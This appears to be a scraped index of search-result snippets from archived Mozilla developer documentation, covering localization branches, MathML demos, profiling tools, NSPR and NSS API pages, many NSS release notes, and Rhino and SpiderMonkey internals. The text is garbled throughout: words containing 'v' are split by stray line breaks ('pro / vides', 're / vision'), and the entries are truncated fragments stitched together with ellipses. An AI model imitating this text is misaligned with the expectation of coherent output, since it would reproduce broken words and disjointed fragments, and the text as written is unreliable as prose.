some branch/release names identified: mozilla source + en-us localization files for [ab-cd] locale corresponding firefox version branches in hg mozilla-central l10n-central firefox.next (trunk) mozilla-1.9.2 l10n-mozilla-1.9.2 firefox 3.6 mozilla-1.9.1 l10n-mozilla-1.9.1 firefox 3.5 and, on the former re
vision control system, cvs: cvs trunk (the default branch) -> firefox/thunderbird 3.0.x branch mozilla_1_8_branch -> firefox/thunderbird 2.0 branch mozilla cross-reference mozilla cross-reference is a web site mirroring the content of the hg server.
...te a bug, if you want the person in charge of the l10n to follow up your bug you should cc: l10n@mozilla.com if you choose to make changes to your localization, you should make the changes local to your disk, push them to your hg repository on merucial, test the changes on a nightly/tinderbox build, fix any errors if some are found and test again, and send the new changeset id as your "opt-in" re
visions to the l10-drivers.
gettext
in the po file, msgctxt looks like this: msgctxt "button label" msgid "log in" msgstr "" msgctxt "dialog title" msgid "log in" msgstr "" you can add context to your strings by passing an additional argument to the gettext function call and then ha
ving xgettext extract it as the context.
...# #, fuzzy msgid "" msgstr "" "project-id-version: package version\n" "report-msgid-bugs-to: \n" "pot-creation-date: 2009-09-28 16:18+0200\n" "po-re
vision-date: year-mo-da ho:mi+zone\n" "last-translator: full name <email@address>\n" "language-team: language <ll@li.org>\n" "mime-version: 1.0\n" "content-type: text/plain; charset=charset\n" "content-transfer-encoding: 8bit\n" "plural-forms: nplurals=integer; plural=expression;\n" #.
Mozilla MathML Status
an over
view of the mathml 3 elements/attributes - excluding deprecated ones - and the current status of the native support.
... original document information author(s): frédéric wang other contributors: copyright information: portions of this content are © 2010 by indi
vidual mozilla.org contributors; content available under a creative commons license | details.
MathML Demo: <mmultiscripts> - attach prescripts and tensor indices to a base
there are some variations possible: <mmultiscripts> a a b c d , nested <msubsup>s a a b c d , or &in
visiblecomma; a a c b d .
...for example m c d a b the scripts come in pairs, with <mprescripts/> used to indicate prescripts and <none/> used to hold an empty position as in f b a there are some variations possible: <mmultiscripts> a a b c d nested <msubsup>s a a b c d or &in
visiblecomma; a a c b d ...
MathML Demo: <mspace> - space
mathml demo: <mspace> - space the background color of <mspace> elements has been set to yellow for easier
viewing.
... you can set the width ∑ x y height ∫ x y and depth [ x y ] of mspace elements (click the math text to
view the numeric values that are set).
Mobile
mobile web development mobile de
vices have very different hardware characteristics from desktop or laptop computers, and many of the apis used to work with them are still in the process of being standardized.
... read about how to develop web sites that look good on mobile de
vices and take advantage of the new possibilities they offer.
Mozilla Style System
the style set pro
vides the api managing the rule processors and for creating style contexts.
... the style contexts then pro
vide the api for computed style data by allowing retrieval of a set of style structs, each of which contains the computed values of a set of css properties.
Mozilla Style System Documentation
the fundamental way to get a style struct from a style context looks like this: const nsstyledisplay *display = ns_static_cast(const nsstyledisplay*, sc->getstyledata(estylestruct_display)); there is also a (non-
virtual) method on nsiframe to get the style data from a frame's style context (sa
ving the refcounting needed to get the style context): const nsstyledisplay *display; frame->getstyledata(estylestruct_display, (const nsstylestruct*&)display); however, there are similar typesafe global function templates that (should) compile to the same thing but use the type of the template parameter to pass the...
...da
vid baron last updated date: june 6, 2003 copyright information: portions of this content are © 1998–2007 by indi
vidual mozilla.org contributors; content available under a creative commons license | details.
JS::PerfMeasurement
nch_misses branch instructions that were not predicted correctly ::bus_cycles .bus_cycles total memory bus cycles ::page_faults .page_faults total page-fault exceptions fielded by the os ::major_page_faults .major_page_faults page faults that required disk access ::context_switches .context_switches context switches invol
ving the profiled thread ::cpu_migrations .cpu_migrations migrations of the profiled thread from one cpu core to another these events map directly to "generic events" in the linux 2.6.31+ <linux/perf_event.h> interface, and so unfortunately are a little vague in their specification; for instance, we can't tell you exactly which level of cache you get misses for if you measure c...
... it initializes the javascript wrapper interface for this api and pokes the constructor function into the global object you pro
vide.
Leak Gauge
leak gauge is a tool that can be used to detect certain kinds of leaks in gecko, including those invol
ving documents, window objects, and docshells.
... getting a log file to get a log file, run the browser with the following en
vironment variables set.
Profiling with Instruments
official apple documentation instruments user guide instruments user reference instruments help articles instruments help performance over
view basic usage select "time profiler" from the "choose a profiling template for:" dialog.
...the call tree
view can be quite helpful here.
perf
perf is a powerful system-wide instrumentation ser
vice that is part of linux.
... note: the power profiling over
view is worth reading at this point if you haven't already.
turbostat
this article pro
vides an introduction to using it.
... note: the power profiling over
view is worth reading at this point if you haven't already.
browser.download.lastDir.savePerSite
browser.download.lastdir.savepersite controls whether the directory preselected in the file picker for sa
ving a file download is being remembered on a per-website (host) base.
... type:boolean default value:true exists by default: no application support:firefox 11.0 status: active; last updated 2012-02-15 introduction: pushed to nightly on 2011-12-11 bugs: bug 702748 values true (default) the last used directory for the website (host) ser
ving the file for download will be preselected in the file picker.
Profile Manager
firefox pro
vides a built-in applet to manage these profiles, but it will eventually be going away (see bug 214675), so a new standalone profile manager application has been created, which works with any xulrunner application, and has many features not found in firefox's built-in version.
... an indi
vidual profile can be linked to a specific installation of firefox, so that version of firefox will be launched when that profile is selected.
Debugging out-of-memory problems
firefox android on firefox android, an about:memory dump may be triggered from a connect desktop machine with the command: adb shell am broadcast -a org.mozilla.gecko.memory_dump the location of the dump file will be printed to the android log (
viewed with adb logcat | grep geckoconsole) and can be retrieved
via adb pull.
... note: replace "/storage/emulated/0/download/" in the reported file path with the de
vice's download path (e.g.
Emscripten
important: this page pro
vides a very brief introduction to what emscripten is.
... with emscripten, c/c++ developers don’t have the high cost of porting code manually to javascript — or ha
ving to learn javascript at all.
Firefox Sync
firefox sync synchronizes state and configuration data used by the browser, such as bookmarks, history, preferences, bookmarks, and so forth among all your de
vices.
...all data is encrypted and decrypted on each de
vice; no sync data is ever transmitted to a server without being encrypted.
L20n
l20n lets localizers reach higher levels of free linguistic expression by sharpening the di
vide between localization and application logic.
... what l20n looks like here is a simple, straightforward example showing an english string being pro
vided: <brandname "firefox"> <about "about {{ brandname }}"> here is the same string being pro
vided in slovenian: <brandname { nominative: "firefox", genitive: "firefoxa", dative: "firefoxu", accusative: "firefox", locative: "firefoxu", instrumental: "firefoxom" }> <about "o {{ brandname.locative }}"> for developers documentation for developers wanting to implement localization functionality on their web apps using l20n.
Leak Monitor
da
vid baron that helps extension and chrome developers to find memory leaks.
... obtain the extension on amo (addons.mozilla.org)
view more information on leak monitor on da
vid baron's page ...
MailNews
it pro
vides a number of functions and capabilities, including: communications protocols - smtp, pop3, imap, nntp message management, including search and filtering message composition address book the mailnews code lives in the mailnews/ directory of comm-central.
...it allows re
viewers to quickly pick up regressions in patches and helps developers to think about different cases.
NSPR release procedure
edit the repackage.sh script to customize it for your en
vironment.
...the host ftp.mozilla.org can be accessed
via the ftp, http, and https protocols.
Process Forking in NSPR
the threads pro
vided in netscape portable runtime (nspr) are implemented using different mechanisms on the various platforms.
... on some platforms, nspr threads directly map one-to-one to the threads pro
vided by the platform vendor, on other platforms nspr threads are basically user-level threads within a single process (with no kernel threads) and on still others nspr threads are user-level threads implemented on top of one or more kernel threads within single address space.
Floating Point Number to String Conversion
nspr pro
vides functions that convert double-precision floating point numbers to and from their character string representations.
... these conversion functions were originally written by da
vid m.
I/O Functions
pr_createfilemap pr_memmap pr_memunmap pr_closefilemap anonymous pipe function pr_createpipe polling functions this section describes two of the most important polling functions pro
vided by nspr: pr_poll pr_getconnectstatus pollable events a pollable event is a special kind of file descriptor.
...pollable events are implemented using a pipe or a pair of tcp sockets connected
via the loopback address, therefore setting and/or waiting for pollable events are expensive operating system calls.
Interval Timing
nspr 2.0 pro
vides interval times that are efficient in terms of performance and storage requirements.
... printervaltime interval functions interval timing functions are di
vided into three groups: getting the current interval and ticks per second converting standard clock units to platform-dependent intervals converting platform-dependent intervals to standard clock units getting the current interval and ticks per second pr_intervalnow pr_tickspersecond converting standard clock units to platform-dependent intervals pr_secondstointerval pr_millisecond...
Linked Lists
the api is a set of macros for initializing a circular (doubly linked) list, inserting and remo
ving elements from the list.
...the caller must pro
vide for mutually-exclusive access to the list, and for the nodes being added and removed from the list.
Locks
when a programmer associates a mutex with an arbitrary collection of data, the mutex pro
vides a protective monitor around the data.
...in addition to prlock, nspr pro
vides another mutex type, prmonitor, which is reentrant and can have only one associated condition variable.
Memory Management Operations
nspr pro
vides heap-based memory management functions that map to the familiar malloc(), calloc(), realloc(), and free().
... memory allocation macros macro versions of the memory allocation functions are available, as well as additional macros that pro
vide programming convenience: pr_malloc pr_new pr_realloc pr_calloc pr_newzap pr_delete pr_freeif ...
PRIntervalTime
they are chosen to be appropriate for the host os, yet pro
vide sufficient resolution and period to be useful to clients.
...interval has expired ...> as long as the interval and the elapsed time (now - epoch) do not exceed half the namespace allowed by a printervaltime (231-1), the expression shown above pro
vides the expected result even if the signs of now and epoch differ.
PRSockOption
syntax #include <prio.h> typedef enum prsockoption { pr_sockopt_nonblocking, pr_sockopt_linger, pr_sockopt_reuseaddr, pr_sockopt_keepalive, pr_sockopt_recvbuffersize, pr_sockopt_sendbuffersize, pr_sockopt_iptimetolive, pr_sockopt_iptypeofser
vice, pr_sockopt_addmember, pr_sockopt_dropmember, pr_sockopt_mcastinterface, pr_sockopt_mcasttimetolive, pr_sockopt_mcastloopback, pr_sockopt_nodelay, pr_sockopt_maxsegment, pr_sockopt_last } prsockoption; enumerators the enumeration has the following enumerators: pr_sockopt_nonblocking nonblocking i/o.
... pr_sockopt_iptypeofser
vice ip type-of-ser
vice and precedence.
PR_ClearInterrupt
for example, the target thread may reach the agreed-on control point without pro
viding an opportunity for the runtime to notify the thread of the interrupt request.
...therefore it is sometimes necessary to call pr_clearinterrupt to clear a pre
vious interrupt request.
PR_CloseDir
the reason for the failure can be retrieved
via pr_geterror.
...note that after a pr_closedir call, any prdirentry object returned by a pre
vious pr_readdir call on the same prdir object becomes invalid.
PR_DestroyPollableEvent
syntax nspr_api(prstatus) pr_destroypollableevent(prfiledesc *event); parameter the function has the following parameter: event pointer to a prfiledesc structure pre
viously created
via a call to pr_newpollableevent.
...the reason for the failure can be retrieved
via pr_geterror.
PR_FreeLibraryName
syntax #include <prlink.h> void pr_freelibraryname(char *mem); parameters the function has this parameter: mem a reference to a character array that was pre
viously allocated by the dynamic library runtime.
... description this function deletes the storage allocated by the runtime in the functions described pre
viously.
PR_PushIOLayer
accessing the object
via the pointer is not permitted while the runtime has ownership.
...if the original container was allocated using a different mechanism than used by the runtime, the default calling of the layer's destructor by the runtime will fail pr_createiolayerstub is pro
vided to allocate layer objects and template implementations).
PR_SetPollableEvent
syntax nspr_api(prstatus) pr_setpollableevent(prfiledesc *event); parameter the function has the following parameter: event pointer to a prfiledesc structure pre
viously created
via a call to pr_newpollableevent.
...the reason for the failure can be retrieved
via pr_geterror.
PR_Wait
this is usually done by evaluating a boolean expression invol
ving the monitored data.
...the most ob
vious is that it was notified by another thread.
PR_WaitForPollableEvent
syntax nspr_api(prstatus) pr_waitforpollableevent(prfiledesc *event); parameter the function has the following parameter: event pointer to a prfiledesc structure pre
viously created
via a call to pr_newpollableevent.
...the reason for the failure can be retrieved
via pr_geterror.
Thread Pools
thread pools create and manage threads to pro
vide support for scheduling work (jobs) onto one or more threads.
... nspr's thread pool is modeled on the thread pools described by da
vid r.
NSS Certificate Download Specification
this document is currently being re
vised and has not yet been re
viewed for accuracy.
... server certificates are imported
via the server admin interface.
Using JSS
gather components setup your runtime en
vironment initialize jss in your application gather components you need the jss classes and the nspr, nss, and jss shared libraries.
... setup your runtime en
vironment you need to set some en
vironment variables before building and running java applications with jss.
NSS 3.12.9 release notes
<center> 2010-09-23</center> <center> newsgroup: mozilla.dev.tech.crypto</center> introduction network security ser
vices (nss) 3.12.9 is a patch release for nss 3.12.
...new and re
vised documents available since the release of nss 3.11 include the following:</for> build instructions for nss 3.11.4 and above nss shared db compatibility nss 3.12.9 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.14.4 release notes
introduction network security ser
vices (nss) 3.14.4 is a patch release for nss 3.14.
...nss 3.14.4 source distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_14_4_rtm/src/ security ad
visories the following security-relevant bugs have been resolved in nss 3.14.4.
NSS 3.14.5 release notes
introduction network security ser
vices (nss) 3.14.5 is a patch release for nss 3.14.
...nss 3.14.5 source distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_14_5_rtm/src/ security ad
visories the following security-relevant bugs have been resolved in nss 3.14.5.
NSS 3.15.1 release notes
introduction network security ser
vices (nss) 3.15.1 is a patch release for nss 3.15.
... the nss_sur
vive_double_bypass_failure build option is removed.
NSS 3.15.2 release notes
introduction network security ser
vices (nss) 3.15.2 is a patch release for nss 3.15.
...distribution information nss 3.15.2 source distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_15_2_rtm/src/ security ad
visories the following security-relevant bugs have been resolved in nss 3.15.2.
NSS 3.15.3.1 release notes
introduction network security ser
vices (nss) 3.15.3.1 is a patch release for nss 3.15.
...nss 3.15.3.1 source distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_15_3_1_rtm/src/ security ad
visories the following security-relevant bugs have been resolved in nss 3.15.3.1.
NSS 3.15.3 release notes
introduction network security ser
vices (nss) 3.15.3 is a patch release for nss 3.15.
...nss 3.15.3 source distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_15_3_rtm/src/ security ad
visories the following security-relevant bugs have been resolved in nss 3.15.3.
NSS 3.15.4 release notes
introduction network security ser
vices (nss) 3.15.4 is a patch release for nss 3.15.
...nss 3.15.4 source distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_15_4_rtm/src/ security ad
visories the following security-relevant bugs have been resolved in nss 3.15.4.
NSS 3.15.5 release notes
introduction network security ser
vices (nss) 3.15.5 is a patch release for nss 3.15.
... notable changes in nss 3.15.5 bug 950129: improve the ocsp fetching policy when verifying ocsp responses bug 949060: validate the iov input argument (an array of priovec structures) of ssl_writev (called
via pr_writev).
NSS 3.16.2.3 release notes
introduction network security ser
vices (nss) 3.16.2.3 is a patch release for nss 3.16.
...pre
viously nss would only validate the peer's public key before performing ecdh key agreement.
NSS 3.16.4 release notes
introduction network security ser
vices (nss) 3.16.4 is a patch release for nss 3.16.
...the intention is to mitigate the effects of the pre
vious removal of the 1024-bit entrust.net root certificate, because many public internet sites still use the "usertrust legacy secure server ca" intermediate certificate that is signed by the 1024-bit entrust.net root certificate.
NSS 3.17.2 release notes
introduction network security ser
vices (nss) 3.17.2 is a patch release for nss 3.17.
...pre
viously nss would only validate the peer's public key before performing ecdh key agreement.
NSS 3.19.1 release notes
introduction network security ser
vices (nss) 3.19.1 is a security release for nss 3.19.
...nss 3.19.2 reverts the beha
viour to the nss 3.19 and earlier limits.
NSS 3.19.2.2 release notes
introduction network security ser
vices (nss) 3.19.2.2 is a security patch release for nss 3.19.2.
... (current users of nss 3.19.3 or nss 3.19.4 are ad
vised to update to nss 3.20.2, nss 3.21, or a later release.) distribution information the hg tag is nss_3_19_2_2_rtm.
NSS 3.19.2.3 release notes
introduction network security ser
vices (nss) 3.19.2.3 is a security patch release for nss 3.19.2.
... (current users of nss 3.19.3, nss 3.19.4 or nss 3.20.x are ad
vised to update to nss 3.21.1, nss 3.22.2, or a later release.) distribution information the hg tag is nss_3_19_2_3_rtm.
NSS 3.19.2.4 release notes
introduction network security ser
vices (nss) 3.19.2.4 is a security patch release for nss 3.19.2.
... (current users of nss 3.19.3, nss 3.19.4 or nss 3.20.x are ad
vised to update to nss 3.21.1, nss 3.22.2 or a later release.) distribution information the hg tag is nss_3_19_2_4_rtm.
NSS 3.19.3 release notes
introduction network security ser
vices (nss) 3.19.3 is a patch release for nss 3.19.
... notable changes in nss 3.19.3 the following ca certificates were removed cn = buypass class 3 ca 1 sha1 fingerprint: 61:57:3a:11:df:0e:d8:7e:d5:92:65:22:ea:d0:56:d7:44:b3:23:71 cn = tÜrktrust elektronik sertifika hizmet sağlayıcısı sha1 fingerprint: 79:98:a3:08:e1:4d:65:85:e6:c2:1e:15:3a:71:9f:ba:5a:d3:4a:d9 cn = sg trust ser
vices racine sha1 fingerprint: 0c:62:8f:5c:55:70:b1:c9:57:fa:fd:38:3f:b0:3d:7b:7d:d7:b9:c6 cn = tc trustcenter universal ca i sha-1 fingerprint: 6b:2f:34:ad:89:58:be:62:fd:b0:6b:5c:ce:bb:9d:d9:4f:4e:39:f3 cn = tc trustcenter class 2 ca ii sha-1 fingerprint: ae:50:83:ed:7c:f4:5c:bc:8f:61:c6:21:fe:68:5d:79:42:21:15:6e the following c...
NSS 3.21.4 release notes
introduction network security ser
vices (nss) 3.21.4 is a security patch release for nss 3.21.
... bugs fixed in nss 3.21.4 bug 1344380 / out-of-bounds write in base64 encoding in nss (cve-2017-5461) bug 1345089 / drbg flaw in nss (cve-2017-5462) acknowledgements the nss development team would like to thank ronald crane and vladimir klebanov for responsibly disclosing the issues by pro
viding advance copies of their research.
NSS 3.22 release notes
introduction the nss team has released network security ser
vices (nss) 3.22, which is a minor release.
... nss 3.22 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_22_rtm/src/ new in nss 3.22 new functionality rsa-pss signatures are now supported (bug 1215295) new functions pk11_signwithmechanism() and pk11_signwithmechanism() are pro
vided to allow rsa keys to be used with pss.
NSS 3.25.1 release notes
introduction network security ser
vices (nss) 3.25.1 is a patch release for nss 3.25.
...pre
viously, with rare server configurations, an md5 signature algorithm might have been selected for client authentication and caused the client to abort the connection soon after.
NSS 3.26.2 release notes
introduction network security ser
vices (nss) 3.26.2 is a patch release for nss 3.26.
...pre
viously, with rare server configurations, an md5 signature algorithm might have been selected for client authentication and caused the client to abort the connection soon after.
NSS 3.27.2 Release Notes
introduction network security ser
vices (nss) 3.27.2 is a patch release for nss 3.27.
... pre
vious versions of nss leaked the memory used to store distinguished names when ssl_settrustanchors() was used.
NSS 3.28.2 release notes
introduction network security ser
vices (nss) 3.28.2 is a patch release for nss 3.28.
... bugs fixed in nss 3.28.2 bug 1334114 - nss 3.28 regression in signature scheme flexibility, causes connecti
vity issue between ios 8 clients and nss servers with ecdsa certificates bug 1330612 - x25519 is the default curve for ecdhe in nss bug 1323150 - crash [@ readdbentry ] compatibility nss 3.28.2 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.28.3 release notes
introduction network security ser
vices (nss) 3.28.3 is a patch release for nss 3.28.
... bugs fixed in nss 3.28.3 nss version 3.28, 3.28.1 and 3.28.2 contained changes that were in
violation with the nss compatibility promise.
NSS 3.28.4 release notes
introduction network security ser
vices (nss) 3.28.4 is a security patch release for nss 3.28.
... bugs fixed in nss 3.28.4 bug 1344380 / out-of-bounds write in base64 encoding in nss (cve-2017-5461) bug 1345089 / drbg flaw in nss (cve-2017-5462) bug 1342358 - crash in tls13_destroykeyshares acknowledgements the nss development team would like to thank ronald crane and vladimir klebanov for responsibly disclosing the issues by pro
viding advance copies of their research.
NSS 3.29.1 release notes
introduction network security ser
vices (nss) 3.29.1 is a patch release for nss 3.29.
... bugs fixed in nss 3.29.1 nss version 3.28, 3.28.1, 3.28.2 and 3.29 contained changes that were in
violation with the nss compatibility promise.
NSS 3.29.5 release notes
introduction network security ser
vices (nss) 3.29.5 is a security patch release for nss 3.29.
... bugs fixed in nss 3.29.5 bug 1344380 / out-of-bounds write in base64 encoding in nss (cve-2017-5461) bug 1345089 / drbg flaw in nss (cve-2017-5462) acknowledgements the nss development team would like to thank ronald crane and vladimir klebanov for responsibly disclosing the issues by pro
viding advance copies of their research.
NSS 3.29 release notes
introduction the network security ser
vices (nss) team has released nss 3.29, which is a minor release.
... nss 3.29 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_29_rtm/src/ notable changes in nss 3.29 fixed a nss 3.28 regression in the signature scheme flexibility that causes connecti
vity issues between ios 8 clients and nss servers with ecdsa certificates (bug1334114).
NSS 3.30.1 release notes
introduction network security ser
vices (nss) 3.30.1 is a security patch release for nss 3.30.
... bugs fixed in nss 3.30.1 bug 1344380 / out-of-bounds write in base64 encoding in nss (cve-2017-5461) acknowledgements the nss development team would like to thank ronald crane for responsibly disclosing the issue by pro
viding advance copies of their research.
NSS 3.31 release notes
introduction the network security ser
vices (nss) team has released nss 3.31, which is a minor release.
... pre
viously, ssl_versionrangeset and ssl_versionrangesetdefault returned a failure if the requested version range wasn't fully allowed by the systemwide crypto policy.
NSS 3.34.1 release notes
introduction the network security ser
vices (nss) team has released nss 3.34.1, which is a minor release.
...it was pre
viously removed in nss 3.34, but now re-added with only the email trust bit set.
NSS 3.38 release notes
introduction the nss team has released network security ser
vices (nss) 3.38, which is a minor release.
... when using certutil -o to print the chain for a given certificate nickname, the new parameter --simple-self-signed may be pro
vided, which can avoid ambiguous output in some scenarios.
NSS 3.51.1 release notes
introduction the nss team has released network security ser
vices (nss) 3.51.1 on 3 april 2020.
... bug 1618739 - don't assert fuzzer beha
vior in ssl_parsesessionticket.
NSS 3.51 release notes
introduction the nss team has released network security ser
vices (nss) 3.51 on 6 march 2020, which is a minor release.
... the nss team would like to recognize first-time contributors: dmitry baryshkov
victor tapia distribution information the hg tag is nss_3_51_rtm.
NSS 3.53.1 release notes
introduction the nss team has released network security ser
vices (nss) 3.53.1 on 16 june 2020.
... thank you to sohaib ul hassan, billy bob brumley, and the network and information security group (nisec) at tampere university for reporting this issue and pro
viding a patch.
NSS 3.53 release notes
introduction the nss team released network security ser
vices (nss) 3.53 on 29 may 2020.
... this attribute pro
vides a more graceful phase-out for certificate authorities than complete removal from the root certificate builtin store.
NSS 3.55 release notes
introduction the nss team has released network security ser
vices (nss) 3.55 on 24 july 2020, which is a minor release.
...with this function, a given slot can be queried with a der-encoded certificate, pro
viding performance and usability improvements over other mechanisms.
NSS Sample Code Sample1
this program shows the following: rsa key pair generation naming rsa key pairs looking up a pre
viously generated key pair by name creating aes and mac keys (or encryption and mac keys in general) wrapping symmetric keys using your own rsa key pair so that they can be stored on disk or in a database.
... int exportpublickey(secitem **pubkeydata); // export the encryption and key using the key // pro
vided.
NSS Sample Code sample6
* in a real app, this function should obtain the password using secure means * such as prompting an operator, or retrie
ving it over a secure communication * channel */ char *passwdcb(pk11slotinfo *info, prbool retry, void *arg); int main(int argc, char **argv) { secstatus rv; /* initialize nss */ pk11_setpasswordfunc(passwdcb); /* the nss db must be initialized read-write since we'll be creating * keys in it.
... */ if (slot == null) { fprintf(stderr, "unable to find security de
vice (err %d)\n", pr_geterror()); return; } keyid[0] = id; keyiditem.type = sibuffer; keyiditem.data = (void *)keyid; keyiditem.len = sizeof(keyid[0]); /* note: keysize must be 0 for fixed key-length algorithms like des.
Utilities for nss samples
etoitem */ extern secstatus filetoitem(secitem *dst, prfiledesc *src); /* * checkpassword */ extern prbool checkpassword(char *cp); /* * getpassword */ extern char * getpassword(file *input, file *output, char *prompt, prbool (*ok)(char *)); /* * filepasswd extracts the password from a text file * * storing passwords is often used with server en
vironments * where prompting the user for a password or requiring it * to be entered in the commnd line is not a feasible option.
...!(*ok)(phrase)) { if (!istty) return 0; fprintf(output, "password must be at least 8 characters long with one or more\n"); fprintf(output, "non-alphabetic characters\n"); continue; } return (char*) port_strdup(phrase); } } /* * filepasswd extracts the password from a text file * * storing passwords is often used with server en
vironments * where prompting the user for a password or requiring it * to be entered in the commnd line is not a feasible option.
nss tech note8
if zero, then the called cache function would compute the correct expiration time by adding the chosen timeout (from one of those two global variables) to the sid's creationtime, gi
ving the expirationtime.
... the objectives were to make the server session cache faster, and to fix bugs that caused corruption in multi-process servers, and also to allow separate
virtual servers to have their own session caches.
PKCS #11 Module Specs
these modules specs can be passed by the application directly to nss
via the secmod_loadusermodule() call.
...at init time nss, will try to look for a default root cert de
vice if one has not already been loaded.
Migration to HG
most parts of the nss build instructions remain valid, especially the instructions about setting en
vironment variables.
... updated instructions for building nss with nspr can be found at: /docs/nss_reference/building_and_installing_nss/build_instructions it's best to refer to the above document to learn about the various en
vironment variables that you might have to set to build on your platform (this part hasn't changed).
FC_GetSessionInfo
if the nss cryptographic module is in the error state, fc_getsessioninfo returns ckr_de
vice_error.
... ckf_serial_session (0x00000004): this flag is pro
vided for backward compatibility and is always set to true.
FC_SeedRandom
note that fc_seedrandom() doesn't pro
vide the initial seed material for the random number generator.
... the initial seed material is pro
vided by the nss cryptographic module itself.
NSS tools : ssltab
usage tips when ssl restarts a pre
vious session, it makes use of cached information to do a partial handshake.
...references
visible links 1.
NSS tools : ssltap
usage tips when ssl restarts a pre
vious session, it makes use of cached information to do a partial handshake.
...references
visible links 1.
NSS tools : vfychain
modutil can add and delete pkcs #11 modules, change passwords on security databases, set defaults, list module contents, enable or disable slots, enable or disable fips 140-2 compliance, and assign default pro
viders for cryptographic operations.
...references
visible links 1.
troubleshoot.html
building nss ha
ving /usr/ucb/bin in the path before /usr/ccs/bin breaks the build on 64-bit solaris.
...we will try to pro
vide a moreconvenient solution in the future.
NSS reference
building and installing nss over
view of an nss application based on "over
view of an ssl application" in the ssl reference.
... nss en
vironment variables nss cryptographic module nss tech notes nss tech notes nss memory allocation tools based on nss tools documentation.
ssltyp.html
<a name="> many of the structures presented here (certcertdbhandle, certcertificate, pk11slotinfo, and seckeyprivatekey) are opaque--that is, they are types defined as structures (for example, certcertdbhandlestr) that may change in future releases of network security ser
vices.
... as long as you use the form shown here, your code will not need re
vision.
SSL functions
the public functions listed here are used to configure sockets for communication
via the ssl and tls protocols.
...the mozilla cross reference (dxr) link for each function pro
vides access to the function definition, prototype definition, and source code references.
Utility functions
the public functions listed here perform initialization tasks and other ser
vices.
...the mozilla cross reference (mxr) link for each function pro
vides access to the function definition, prototype definition, and source code references.
NSS Tools ssltap
it passes any data sent by the client to the server and
vice versa.
... usage tips when ssl restarts a pre
vious session, it makes use of cached information to do a partial handshake.
NSS tools : ssltap
usage tips when ssl restarts a pre
vious session, it makes use of cached information to do a partial handshake.
... references
visible links 1.
NSS tools : vfychain
modutil can add and delete pkcs #11 modules, change passwords on security databases, set defaults, list module contents, enable or disable slots, enable or disable fips 140-2 compliance, and assign default pro
viders for cryptographic operations.
... references
visible links 1.
Installing Pork
hg clone http://hg.mozilla.org/rewriting-and-analysis/pork/ cd pork hg clone http://hg.mozilla.org/rewriting-and-analysis/elsa ./configure make building mozilla with mcpp to build mozilla with mcpp to generate annotated .ii files, use the following configure command: ac_cv_
visibility_hidden=no cc="gcc34 -save-temps -wp,-w0,-k" cxx="g++ -save-temps -wp,-w0,-k" cppflags=-dns_disable_literal_template $srcdir/configure --enable-debug --disable-optimize --disable-accessibility --enable-application=browser --disable-crashreporter building will probably require disabling warnings_as_errors: make warnings_as_errors= "-wp,-w0,-k" are options that get passed to mcpp.
... index: src/set_mcpp.sh =================================================================== --- src/set_mcpp.sh (re
vision 78) +++ src/set_mcpp.sh (working copy) @@ -35,14 +35,14 @@ echo " cd ${inc_dir}/mcpp-gcc" cd ${inc_dir}/mcpp-gcc if test !
Rhino documentation
general over
view an over
view of the javascript language and of rhino.
... scopes and contexts describes how to use scopes and contexts for the best performance and flexibility, with an eye toward multithreaded en
vironments.
Tutorial: Embedding Rhino
fully compilable examples are pro
vided along the way.
...a context stores information about the execution en
vironment of a script.
Rhino JavaScript compiler
over
view the javascript compiler translates javascript source into java class files.
... the resulting java class files can then be loaded and executed at another time, pro
viding a convenient method for transferring javascript, and for avoiding translation cost.
SpiderMonkey Internals: Thread Safety
the most ob
vious effect of a request is: at any given moment there can either be multiple threads in active requests, or one thread doing gc and all requests suspended.
...and ob
viously you shouldn't block or otherwise dilly-dally while in a request; it prohibits gc.
Tracing JIT
the recorder records the acti
vity of the interpreter, using nanojit to build an efficient, native representation of the execution called a fragment.
... spidermonkey-specific high level component: jstracer.* the files jstracer.cpp and jstracer.h contain a the mechanisms of monitoring and recording the acti
vity of the interpreter.
JIT Optimization Outcomes
unknownproperties optimization failed because the object containing the property was marked as ha
ving unknown properties.
... unboxedconvertedtonative the object whose property is being accessed was pre
viously unboxed but was deoptimized and converted to a native object.
JS::CompileOptions
this allows an attack by which a malicious website loads a sensitive file (say, a bank statement) cross-origin (using the user's cookies), and sniffs the generated syntax errors (
via a window.onerror handler) for juicy morsels of its contents.
...this is hea
vier than compileoptions, below, but unlike compileoptions, it can outlive any given stack frame.
JS::DeflateStringToUTF8Buffer
if dstlenp is pro
vided, it will be updated to hold the number of bytes written to the buffer.
... if numcharsp is pro
vided, it will be updated to hold the number of unicode characters written to the buffer.
JSGetObjectOps
thus jsclass (which pre-dates jsobjectops in the api) pro
vides a low-level interface to class-specific code and data, while jsobjectops allows for a higher level of operation, which does not use the object's class except to find the class's jsobjectops struct, by calling clasp->getobjectops, and to finalize the object.
...it returns a pointer to a jsobjectops which is then used as a
virtual table for operations on the new object.
JSObjectOps.getProperty
each of these callbacks is responsible for everything involved with an indi
vidual property access operation, including: any locking necessary for thread safety; security checks; finding the property, including walking the prototype chain if needed; calling the lower-level jsclass hooks; calling getters or setters; and actually getting, setting, or deleting the property once it is found.
...this reflects the quirky beha
vior of delete as specified in ecma 262-3 §11.4.1 and ecma 262-3 §8.6.2.5.
JSObjectOps.lookupProperty
in any case, a non-null *propp result after a successful lookup must be dropped
via jsobjectops.dropproperty.
... note: a successful return with non-null *propp means the implementation may have locked *objp and added a reference count associated with *propp, so callers should not risk deadlock by nesting or interlea
ving other lookups or any obj-bearing ops before dropping *propp.
JSPrincipalsTranscoder
the application pro
